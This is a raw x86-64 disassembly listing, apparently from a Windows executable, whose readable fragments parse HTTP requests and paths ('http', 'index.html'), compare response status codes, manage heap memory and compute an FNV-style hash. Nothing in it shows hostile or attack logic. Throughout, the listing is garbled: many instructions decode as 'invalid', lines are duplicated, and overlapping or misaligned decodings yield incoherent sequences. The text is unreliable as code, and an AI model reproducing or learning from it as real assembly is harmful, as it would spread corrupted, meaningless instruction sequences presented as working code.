mov rdx, qword [rax + 0x48]
add byte [rax], al
mov rcx, qword [rax + 0x40]
mov rdx, qword [rax + 0x48]
mov r8, qword [rax + 0x50]
push rax
mov rax, qword [rax + 0x58]
mov rbp, rcx
mov qword [rsp + 0x500], rax
mov rbx, rax
mov ebx, eax
mov ebx, eax
mov qword [rsp + 0x508], r8
mov r9, r8
mov qword [rsp + 0x510], rdx
mov dword [rsp + 0x510], edx
mov rsi, rdx
mov qword [rsp + 0x518], rcx
invalid
add byte [rax], al
invalid
add eax, 0x8b440000
test byte [rsp + rsi*2], ah
add al, byte [rax]
add byte [rbp - 0x77], al
mov dword [rcx - 0x3f], 0x894908ef
out dx, al
add byte [rax], al
mov r8d, dword [rsp + 0x274]
mov r15d, r8d
shr r15d, 8
mov r14, rbp
shr r14, 0x10
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x438], rax
cmp byte [rax + rax], al
add byte [rax - 0x75], cl
test byte [rax + rcx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rbp], ah
add eax, 0x8b480000
test byte [rax + rbp], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + riz], ah
add eax, 0x8b480000
test byte [rax + riz], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add al, 0
add byte [rcx - 0x77], cl
fimul dword [rcx + rcx*4 - 0x31]
adc byte [rax + rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi], ah
cmp byte [rax + rax], al
add byte [rax - 0x75], cl
test byte [rax + rcx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rbp], ah
add eax, 0x8b480000
test byte [rax + rbp], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + riz], ah
add eax, 0x8b480000
test byte [rax + riz], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add al, 0
add byte [rcx - 0x77], cl
fimul dword [rcx + rcx*4 - 0x31]
mov r12, rsi
movzx eax, byte [rsp + 0x93]
mov byte [rsp + 0xa7], al
test byte [rdi + riz*4], ah
add byte [rax], al
add byte [rcx + rcx*4 - 8], al
mov byte [rsp + 0x7f], r15b
mov eax, r8d
jg case.0x14001a677.243
mov eax, eax
mov byte [rsp + 0x7e], r8b
movzx edx, byte [rsp + 0x92]
mov dh, 0x94
and al, 0x92
add byte [rax], al
add byte [rax], al
mov dh, 0x94
and al, 0x92
add byte [rax], al
add byte [rax], al
mov eax, edx
mov r11d, r8d
mov ebx, eax
mov eax, edx
mov r11d, r8d
mov ebx, eax
mov ebx, eax
cmp dl, 8
je case.default.0x140028daa
mov qword [rsp + 0x3f8], rbp
mov qword [rsp + 0x440], r9
add byte [rcx + rcx*4 - 0x74], cl
and al, 0x40
add al, 0
add byte [rsi - 0x77], ah
mov word [rsp + 0x118], cx
invalid
invalid
mov ah, 0x24
invalid
mov word [rsp + 0x118], cx
mov dword [rsp + 0x118], ecx
mov dword [rsp + 0x11a], r14d
mov rdx, r14
add dword [rax], eax
add byte [rcx + rcx*4 - 0xe], cl
shr rdx, 0x20
mov word [rsp + 0x11e], dx
add byte [rax], al
mov qword [rsp + 0x120], r12
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x268], r10
mov qword [rsp + 0x130], r10
and al, 0x30
add dword [rax], eax
invalid
mov byte [rsp + 0x4f], r11b
mov byte [rsp + 0x138], r11b
mov byte [rsp + 0x139], r15b
mov rdx, qword [rsp + 0x400]
add al, 0
add byte [rcx + 0x13a2494], cl
add byte [rax], al
add dword [rax], eax
add byte [rax + rcx*4 - 0x44], al
and al, 0x39
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0
add al, 0
add byte [rcx + 0x13a2494], cl
add byte [rax], al
shr rdx, 0x20
mov word [rsp + 0x13e], dx
mov rdx, qword [rsp + 0x430]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x140], rdx
mov rdx, qword [rsp + 0x438]
mov qword [rsp + 0x148], rdx
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x28
add eax, 0x89480000
xchg esp, eax
and al, 0x50
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x28
add eax, 0x89480000
xchg esp, eax
and al, 0x50
add dword [rax], eax
add byte [rax], al
mov byte [rsp + 0x158], al
add byte [rax], al
mov byte [rsp + 0x158], al
mov r9, qword [rsp + 0x520]
add byte [rax], al
mov rdx, r9
shr rdx, 0x20
lea r8d, [rax - 2]
dec al
xor r10d, r10d
cmp r8b, 6
clc
invalid
movzx r8d, byte [rsp + 0xa7]
mov byte [rsp + 0x159], r8b
mov dword [rsp + 0x15a], r9d
movzx eax, al
mov dh, 0xc0
rol byte [rcx - 0x80], cl
clc
invalid
add byte [rax], al
add byte [rax + rcx*4 - 0x7c], al
and al, 0x59
add dword [rax], eax
add byte [rcx + rcx*4 - 0x74], al
and al, 0x5a
add dword [rax], eax
add byte [rdi], cl
mov dh, 0xc0
cmovae eax, r10d
mov word [rsp + 0x15e], dx
movzx r8d, al
lea rdx, [0x140172da4]
movsxd rax, dword [rdx + r8*4]
invalid
add rax, rdx
add eax, edx
invalid
add eax, edx
mov qword [rsp + 0xb0], rdi
mov dword [rsp + 0x94], r15d
mov qword [rsp + 0x448], rsi
mov ah, 0x24
add al, 0
add bh, bh
jmp rax
mov ah, 0x24
add al, 0
add bh, bh
jmp rax
invalid
mov cl, 2
cmp qword [rsp + 0x118], 0
add cl, byte [rax - 0x7d]
mov esp, 0x11824
add byte [rax], al
je 0x1400292a8
add al, 0
add cl, ch
push 6
jmp 0x14002942c
add byte [rax], al
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
xor edx, edx
mov qword [rsp + 0x2a8], rdx
mov qword [rsp + 0x2b0], rcx
mov word [rax + rsi*4], fs
add al, byte [rax]
add byte [rdi], cl
mov bh, 0x78
invalid
mov word [rax + rsi*4], fs
add al, byte [rax]
add byte [rdi], cl
mov bh, 0x78
and byte [rbx + 0xf442248], cl
mov ecx, dword [rax + 0x22]
movzx r9d, word [rax + 0x26]
shl r9, 0x20
mov ecx, dword [rax + 0x22]
movzx r9d, word [rax + 0x26]
shl r9, 0x20
or r9, rcx
mov r12, qword [rax + 0x28]
mov r11, qword [rax + 0x30]
mov ebx, dword [rax + 0x30]
mov ebx, dword [rax + 0x30]
mov r10, qword [rax + 0x38]
movzx r8d, byte [rax + 0x40]
movzx eax, byte [rax + 0x40]
movzx eax, byte [rax + 0x40]
movzx edx, byte [rax + 0x41]
mov ecx, dword [rax + 0x42]
push rax
mov ecx, dword [r8 + 0x42]
movzx eax, word [rax + 0x46]
shl rax, 0x20
or rax, rcx
or eax, ecx
or eax, ecx
mov rbp, qword [rsp + 0x518]
add byte [rax], al
mov rbx, qword [rsp + 0x500]
mov r14, qword [rsp + 0x508]
add byte [rax], al
mov rsi, qword [rsp + 0x510]
mov ah, 0x24
adc byte [0xc94a8e3a], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rsp + 0x428], rax
mov qword [rsp + 0x400], rax
and al, 0
add al, 0
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x18
add al, 0
add byte [rcx + rcx*4 - 0x64], cl
pushfq
and al, 0x10
add al, 0
add byte [rax], al
test byte [rax + rbp], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rax], ah
and al, 0
and al, 0
add al, 0
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0x18
add al, 0
add byte [rcx + rcx*4 - 0x64], cl
pushfq
pushfq
and al, 0x10
add al, 0
invalid
adc byte [rax + rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x28], cl
mov rax, r11
mov qword [rsp + 0x408], r12
mov byte [rsp + 0x92], r8b
xchg edx, eax
add byte [rax], al
invalid
and al, 8
add al, 0
or byte [rax + rax], al
add byte [rax + rcx*4 - 0x7c], al
and al, 0x92
xchg edx, eax
xchg edx, eax
add byte [rax], al
add byte [rbp - 0x77], al
ret
add byte [rax], al
mov r11d, r8d
mov qword [rsp + 0x420], r9
mov dword [rsp + 0x420], ecx
mov word [rax + riz], fs
add al, 0
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
mov r9, r14
int1
mov r14, rcx
mov byte [rsp + 0x93], dl
add byte [rax], al
add byte [rcx - 0x77], al
xlatb
xchg ebx, eax
add byte [rax], al
add byte [rcx - 0x77], al
xlatb
mov dword [rsp + 0x274], edi
and al, 0x74
add al, byte [rax]
add byte [rcx - 0x3876b707], cl
je 0x140028e90
add byte [rax], al
mov ecx, edi
mov rdi, rax
mov qword [rsp + 0x3f8], rbp
mov word [rsp + 0xc0], cx
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], al
and al, 0xc2
add byte [rax], al
add byte [rcx + rcx*4 - 0x10], cl
add eax, dword [rax]
add byte [rsi - 0x77], ah
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], al
mov ah, 0x24
ret 0
and al, 0xc2
add byte [rax], al
add byte [rcx + rcx*4 - 0x10], cl
shr rax, 0x20
shr eax, 0x20
mov word [rsp + 0xc6], ax
mov qword [rsp + 0xc8], r12
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], r10
and al, 0xc6
add byte [rax], al
mov byte [rax], 0
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0xc8
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0xd024
add byte [rcx + rcx*4 - 0x6c], cl
and al, 0xd8
add byte [rax], al
add byte [rax + rcx*4 - 0x64], al
mov byte [rsp + 0xe0], r11b
mov byte [rsp + 0xe1], r15b
invalid
invalid
test byte [rax + rax], ah
add al, 0
mov byte [rsp + 0xe0], r11b
mov byte [rsp + 0xe1], r15b
mov rax, qword [rsp + 0x400]
invalid
add byte [rcx + 0xe22484], cl
add byte [rax], al
invalid
mov dword [rsp + 0xe2], eax
add byte [rax], al
add byte [rax - 0x3f], cl
call 0xc48bf51a
and al, 0xe6
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add al, 0
add byte [rax - 0x7d], cl
clc
add eax, 0x2a46840f
test byte [rsi + 0x2a], al
shr rax, 0x20
mov word [rsp + 0xe6], ax
mov rax, qword [rsp + 0x480]
cmp rax, 5
je 0x14002b957
test byte [rsi + 0x2a], al
add byte [rax], al
test byte [rsi + 0x2a], al
add byte [rax], al
mov qword [rsp + 0x268], r10
cmp eax, 4
mov qword [rsp + 0x440], r9
mov byte [rsp + 0x4f], r11b
invalid
and al, 0x40
add al, 0
add byte [rax + rcx*4 + 0x5c], al
and al, 0x4f
invalid
jae case.default.0x140028f39
jae case.default.0x140028f39
lea rcx, [0x140172fc8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov ecx, dword [rsp + 0x488]
jmp 0x1400290c3
mov r13, r14
mov rbp, rdi
mov r14, rsi
test byte [rdi], 0xb6
test byte [rax + rcx*8], ah
add al, 0
add byte [rbp - 0x370101b8], cl
invalid
dec al
test byte [rdi], 0xb6
test byte [rax + rcx*8], ah
add al, 0
add byte [rbp - 0x370101b8], cl
invalid
dec al
invalid
cmp cl, 6
movzx eax, al
mov ecx, 0
cmovae eax, ecx
mov esi, 7
movzx eax, al
lea rcx, [0x140172fac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdi, rbx
cmp qword [rsp + 0x488], 0
cmp dword [rsp + 0x488], 0
je 0x140029bfd
mov rbx, qword [rsp + 0x490]
mov rsi, qword [rsp + 0x498]
test r11b, r11b
jne 0x140029130
invalid
pushfq
and al, 0x90
add al, 0
add byte [rax - 0x75], cl
mov ah, 0x24
cwde
add al, 0
add byte [rbp - 0x7c], al
fisttp dword [rdi]
test dword [rcx + 1], edi
add byte [rax], al
invalid
jmp 0x140029185
cmp rdi, 0xb
je 0x1400292d0
cmp rdi, 1
jne 0x1400293b3
cmp byte [r12], 0x2f
sete al
mov ecx, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
jmp 0x140029320
mov eax, 2
add al, byte [rax]
add byte [rax], al
invalid
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x3f8]
cmp al, 1
invalid
add dword [rdi], ecx
test byte [rsi + 0xf000003], cl
mov dh, 0xc0
je 0x14002938a
movzx eax, al
cmp eax, 2
jne 0x14002942a
mov eax, 3
jmp 0x140029c50
invalid
add byte [rax - 0x7d], cl
inc dword [0x1437b1429]
add byte [rax], al
invalid
cmp rdi, 5
je 0x140029394
invalid
add byte [rax - 0x7d], cl
inc dword [rdi + rcx]
test edx, edi
add eax, dword [rax]
add byte [rcx - 0x7f], al
cmp al, 0x24
push 0xf707474
jo 0x14002903e
cmp rdi, 4
jne 0x140029420
cmp dword [r12], 0x70747468
sete cl
xchg esp, eax
sar dword [rax + 6], 0x48
mov dword [rsp + 0x50], eax
jo 0x14002903e
xchg esp, eax
sar dword [rax + 6], 0x48
mov dword [rsp + 0x50], eax
test cl, cl
jne 0x140029bf6
mov bl, 0xb
add byte [rax], al
test dword [rbx + 0x4800000b], esi
mov dword [rsp + 0xa8], ecx
mov bl, 0xb
add byte [rax], al
mov qword [rsp + 0xa8], rcx
mov dword [rsp + 0xbc], 0
jmp 0x140029441
out 3, al
add byte [rax], al
out 3, al
add byte [rax], al
mov qword [rsp + 0x50], r8
and al, 0x50
jmp 0x14002942a
mov cl, 2
jmp 0x14002942c
movzx eax, cx
mov ecx, 8
add byte [rax - 0x77], cl
and al, 0x50
add byte [rax - 0x77], cl
and al, 0x50
xor ecx, ecx
cmp eax, 0x12f
jle 0x1400290e4
cmp eax, 0x193
jg 0x140029885
cmp eax, 0x130
add dword [rax], eax
add byte [rdi], cl
test byte [rbx + 0x3d00000b], ah
nop
add dword [rax], eax
add byte [rdi], cl
test dword [rcx - 0x47fffffd], ecx
or al, 0
add byte [rax], al
je case.0x14001e2cd.230
cmp eax, 0x190
add byte [rax], al
jne 0x14002942c
mov eax, 0xc
jmp 0x140029c50
add byte [rax], al
mov rcx, qword [rsp + 0x488]
mov ecx, dword [rsp + 0x488]
mov ecx, dword [rsp + 0x488]
jmp 0x1400290bf
add byte [rax - 0x7d], cl
sar dword [rsi], 0x45
test bl, bl
add rcx, 0x3e
test r11b, r11b
setne r9b
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov rdx, r12
mov r8, rdi
call fcn.14002c5f0
jmp 0x140029204
adc dword [0x160eb90e1], esi
add dword [rax], eax
add byte [0x1400291b1], bh
cmp eax, 0xc8
je 0x140029c34
cmp eax, 0xcc
je 0x140029c49
or r8, qword [r8]
invalid
or r8, qword [r8]
add byte [0x1400291cd], bh
cmp eax, 0xce
jne 0x14002942c
mov eax, 0xa
jmp 0x140029c50
mov rdi, rbx
mov esi, 5
lea rbx, [0x140113b9c]
test r11b, r11b
je 0x140029185
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140029158
mov edx, 1
add byte [rax], al
lea rcx, [rsp + 0x58]
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x10
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
jbe 0x1400291ca
jmp case.default.0x14002aeb1
mov rdi, rbx
lea rbx, [0x140113b8e]
test r11b, r11b
jne 0x140029130
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x1400291ad
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
dec dword [rax - 0x75]
and al, 0x60
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x80], eax
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffba
add byte es:[rax], al
cmp rax, rcx
ja case.default.0x14002aeb1
mov qword [rsp + 0x60], rax
mov rcx, rbx
mov rdx, rsi
lea rsi, [rsp + 0x58]
lea esi, [rsp + 0x58]
lea esi, [rsp + 0x58]
je 0x1400291fd
and al, 0x58
pop rax
mov r8, rsi
call fcn.14002c8e0
mov rcx, r12
mov rdx, rbp
mov r8, rsi
call fcn.14002c8e0
add byte [rax], al
mov rbx, rdi
sti
mov rdi, rbp
mov edi, ebp
mov rsi, r14
mov r14, r13
lea r13, [rsp + 0x160]
lea ebp, [rsp + 0x160]
mov rax, qword [rsp + 0xc0]
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax], al
invalid
invalid
xchg esp, eax
add byte [rax], al
mov rdx, qword [rsp + 0xc8]
and al, 0xc8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xd0
add byte [rax], al
enter 0, 0
mov r8, qword [rsp + 0xd0]
lea rcx, [rsp + 0xd8]
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx*8], fs
add byte [rax], al
invalid
add byte [rax], al
add bh, bh
push rax
adc byte [rdi], cl
mov dh, 0x84
and al, 0xf0
call qword [rax + 0x10]
movzx eax, byte [rsp + 0x2f0]
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test dword [rdi - 0xc], esi
invalid
invalid
add al, byte [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test dword [rdi - 0xc], esi
invalid
jmp 0x140028a82
mov rdi, rbx
mov edi, ebx
fisttp word [rax - 0x73]
sbb eax, 0xea94d
lea rbx, [0x140113b95]
test r11b, r11b
jne 0x140029130
jmp 0x140029185
mov rdi, rbx
mov esi, 0xa
add byte [rax], al
add byte [rax], al
lea rbx, [0x140113b84]
test r11b, r11b
jne 0x140029130
jmp 0x140029185
mov rdi, rbx
mov esi, 9
lea rbx, [0x140113ba1]
invalid
test eax, 0x8445000e
fisttp dword [rdi]
invalid
movsd dword [rdi], dword [rsi]
invalid
invalid
invalid
movsd dword [rdi], dword [rsi]
invalid
jmp 0x140029185
cmc
invalid
mov rdi, rbx
lea rbx, [0x140113baa]
test r11b, r11b
jne 0x140029130
jmp 0x140029185
cmp r12b, 0x4c
ja case.0x1400292c4.5
cld
ja case.0x1400292c4.5
movzx eax, r12b
lea rcx, [0x140172dc0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 0x13
add byte [rax], al
jmp 0x140029425
mov rax, qword [r12]
bswap rax
movabs rcx, 0x2f696e6465782e68
mov ecx, 0x65782e68
outsb dx, byte fs:[rsi]
imul ebp, dword [rdi], 0x48ca8948
cmp eax, ecx
mov ecx, 0x65782e68
outsb dx, byte fs:[rsi]
imul ebp, dword [rdi], 0x48ca8948
cmp eax, ecx
jne case.0x14002aefe.381
mov rax, qword [r12 + 3]
bswap rax
bswap eax
xor ecx, ecx
movabs r8, 0x6465782e68746d6c
insd dword [rdi], dx
je 0x140029361
js 0x140029361
mov rdx, r8
insd dword [rdi], dx
je 0x140029361
js 0x140029361
mov rdx, r8
cmp rax, r8
je 0x140029312
cmp rax, rdx
mov ecx, 0
sbb ecx, ecx
or ecx, 1
xor eax, eax
test ecx, ecx
sete al
mov rcx, rax
or rcx, 4
xor edx, edx
test al, al
sete dl
mov qword [rsp + 0xc8], rcx
mov rax, qword [rsp + 0x158]
lea rcx, [rsp + 0xd0]
add byte [rax - 0x77], cl
movups xmm0, xmmword [rsp + 0x118]
add byte [rax], al
add byte [rax - 0x77], cl
movups xmm0, xmmword [rsp + 0x118]
add byte [rax], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
add qword [rax], rax
invalid
add qword [rax], rax
add byte [rdi], cl
adc dword [rcx + 0x30], ebx
add byte [rax], al
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc0], rdx
lea rcx, [0x140172f48]
movsxd rax, dword [rcx + rdx*4]
add rax, rcx
jmp rax
mov eax, 2
jmp 0x140029c50
mov eax, dword [r12]
bswap eax
cmp eax, 0x68747470
je 0x140029407
jne 0x140029bd1
movzx eax, byte [r12 + 4]
add eax, 0xffffff8d
ror byte [rbp + 0x828e9], 0
mov eax, 1
mov ecx, 4
add byte [rax], al
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
push rdx
and byte [rdi], cl
adc dword [rdx + 0x10], ecx
push rdx
and byte [rdi], cl
adc dword [rdx + 0x10], ecx
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0xc0], eax
mov dword [rsp + 0xc0], eax
lea rcx, [0x140172f48]
xor dword [rbx + 0x63480014], ebx
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0xffffffffffffffb8
invalid
mov eax, 6
mov qword [rsp + 0x50], rax
xor ecx, ecx
mov qword [rsp + 0xa8], rcx
cmp cl, 2
sete al
mov dword [rsp + 0xbc], eax
lea rcx, [rsp + 0x118]
call fcn.14001d8a0
shl rax, 2
mov rcx, qword [rsp + 0x88]
mov rsi, qword [rcx + 0x68]
lea rcx, [rsi + rsi*2]
cmp rax, rcx
jbe 0x1400294e0
cmp byte [rsp + 0xbc], 0
je case.default.0x1400294d3
mov rax, qword [rsp + 0x158]
lea rcx, [rsp + 0xc8]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x118]
add byte [rax], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rcx + 0x30], xmm3
pop rcx
xor byte [rdi], cl
adc dword [rcx + 0x20], edx
pop rcx
xor byte [rdi], cl
adc dword [rcx + 0x20], edx
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov eax, 4
mov qword [rsp + 0xc0], rax
lea rcx, [0x140172f48]
or eax, 0x149a7c
or eax, 0x149a7c
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x280], rbx
mov rax, qword [rsp + 0x158]
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
add eax, dword [rax]
add byte [rdi], cl
adc byte [rsp + 0x118], al
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
and al, 0xe0
add eax, dword [rax]
add byte [rdi], cl
adc byte [rsp + 0x118], al
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movaps xmmword [rsp + 0x3d0], xmm3
movaps xmmword [rsp + 0x3c0], xmm2
movaps xmmword [rsp + 0x3b0], xmm1
movaps xmmword [rsp + 0x3a0], xmm0
lea rcx, [rsp + 0x3a0]
add eax, dword [rax]
add al, ch
pop rbx
invalid
invalid
dec dword [rax - 0x75]
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov qword [rsp + 0x4f8], rcx
add eax, dword [rax]
add al, ch
pop rbx
invalid
add byte [rax - 0x75], cl
invalid
add rax, rcx
cmp rax, rsi
enter 0x3948, 0xfffffffffffffff0
mov qword [rsp + 0x260], r12
jae 0x140029695
sub dword [rax], 1
add byte [rax], al
sub dword [rax], 1
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rsp + 0x88]
mov rbx, qword [rax + 0x28]
pop rax
sub byte [rbx + rcx*4 + 0x44], cl
mov r8, qword [rsp + 0x50]
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x88]
add byte [rax], al
mov rax, qword [rax + 0x48]
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
shr rcx, 2
mov rdx, rbx
fimul dword [rax + 0x29]
invalid
fimul dword [rax + 0x29]
retf 0x3948
sub edx, ecx
cmp rax, rdx
jne 0x1400296c0
test rax, rax
test eax, eax
ror byte [rdi], 0x84
pop rax
add dword [rax], eax
add byte [rcx + rcx*4 - 0xb], cl
je 0x140029701
mov rbp, r14
lea r12, [rbx + rbx]
mov rax, qword [rsp + 0x88]
mov eax, dword [rsp + 0x88]
mov rsi, qword [rax + 0x20]
mov eax, 8
add byte [rax], al
test rbx, rbx
je 0x1400299d9
mov rcx, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
mov rcx, qword [rcx + 0x50]
mov ecx, dword [rcx + 0x50]
lea rdx, [rbx*8]
lea rdx, [rdx + rdx*2]
add byte [rax - 0x73], cl
adc al, 0x52
xor r8d, r8d
xor r14d, r14d
jmp 0x140029600
add r8, 0x18
inc r14
cmp rdx, r8
je 0x1400298f0
cmp qword [rsi + r8], 0
je 0x1400295f0
mov r9, qword [rsi + r8 + 0x10]
and r9, rcx
mov r10, r14
sub r10, r9
test r10, rcx
jne 0x1400295f0
test r12, r12
jne 0x1400298fc
jmp 0x1400299dc
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x158]
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x40], rax
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
adc byte [rsp + 0x148], bl
adc byte [rsp + 0x148], bl
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov eax, 1
mov qword [rsp + 0xc0], rax
lea rcx, [0x140172f48]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
or dword [rax + 1], 0xfe0ffc8
mov dh, 0x84
and al, 0xe0
add eax, dword [rax]
add byte [rax - 0x75], cl
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
pop rcx
sub byte [rax + rax*8 - 0x1377bf1], al
invalid
movzx eax, byte [rsp + 0x3e0]
mov rcx, qword [rsp + 0x88]
mov rbx, qword [rcx + 0x28]
test al, al
je case.0x14001e2cd.224
or al, 0xf8
cmp al, 0xf9
mov r8, qword [rsp + 0x50]
ja 0x14002957e
test rbx, rbx
je 0x140029a5b
movzx eax, byte [rsp + 0x3e0]
lea ecx, [rax - 2]
dec al
cmp cl, 6
movzx eax, al
mov ecx, 0
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x140172ef4]
adc eax, 0x149806
adc eax, 0x149806
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
movabs r8, 0x89cd31291d2aefa4
jmp rcx
mov rax, qword [rsp + 0x88]
mov qword [rax + 0x50], 7
movzx eax, byte [0x14017d2b0]
mov edx, 0xc0
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14002ba6c
mov rsi, rax
mov qword [rax], 0
mov qword [rax + 0x18], 0
mov qword [rax + 0x30], 0
mov qword [rax + 0x48], 0
mov qword [rax + 0x60], 0
mov qword [rax + 0x78], 0
mov qword [rax + 0x90], 0
mov qword [rax + 0xa8], 0
mov rax, qword [rsp + 0x398]
cmp qword [rax], 0
je case.default.0x1400297f5
mov rax, qword [rsp + 0x88]
mov r8, qword [rax + 0x20]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x88]
mov qword [rax + 0x18], 8
mov qword [rax + 0x20], rsi
mov qword [rax + 0x28], 8
mov ebx, 8
movzx eax, byte [rsp + 0x3e0]
add eax, dword [rax]
add byte [rbp - 0x370101b8], cl
add eax, dword [rax]
add byte [rbp - 0x370101b8], cl
cmp cl, 6
movzx eax, al
mov ecx, 0
cmovae eax, ecx
movzx ecx, al
lea rdx, [0x140172ef4]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
movabs r8, 0x89cd31291d2aefa4
jmp rcx
mov rcx, qword [rsp + 0x3a0]
xor r8d, r8d
test rcx, rcx
setne r8b
movabs rdx, 0xa8c7f832281a39c5
xor r8, rdx
movabs rdx, 0x1efac7090aef4a21
imul r8, rdx
test rcx, rcx
je 0x140029cfd
mov r10, qword [rsp + 0x3b0]
test r10, r10
je case.0x14002b679.1
invalid
add byte [rax], al
add eax, 0x8b480000
mov rcx, qword [rsp + 0x3a8]
mov r11, r10
and r11, 7
mov word [rax + rbp*4], fs
add eax, dword [rax]
add byte [rbp - 0x77], cl
ror dword [rcx - 0x7d], cl
jrcxz 0x140029854
je 0x140029d11
mov rdx, rcx
mov edx, ecx
movabs rsi, 0x100000001b3
movzx r9d, byte [rdx]
inc rdx
xor r9, r8
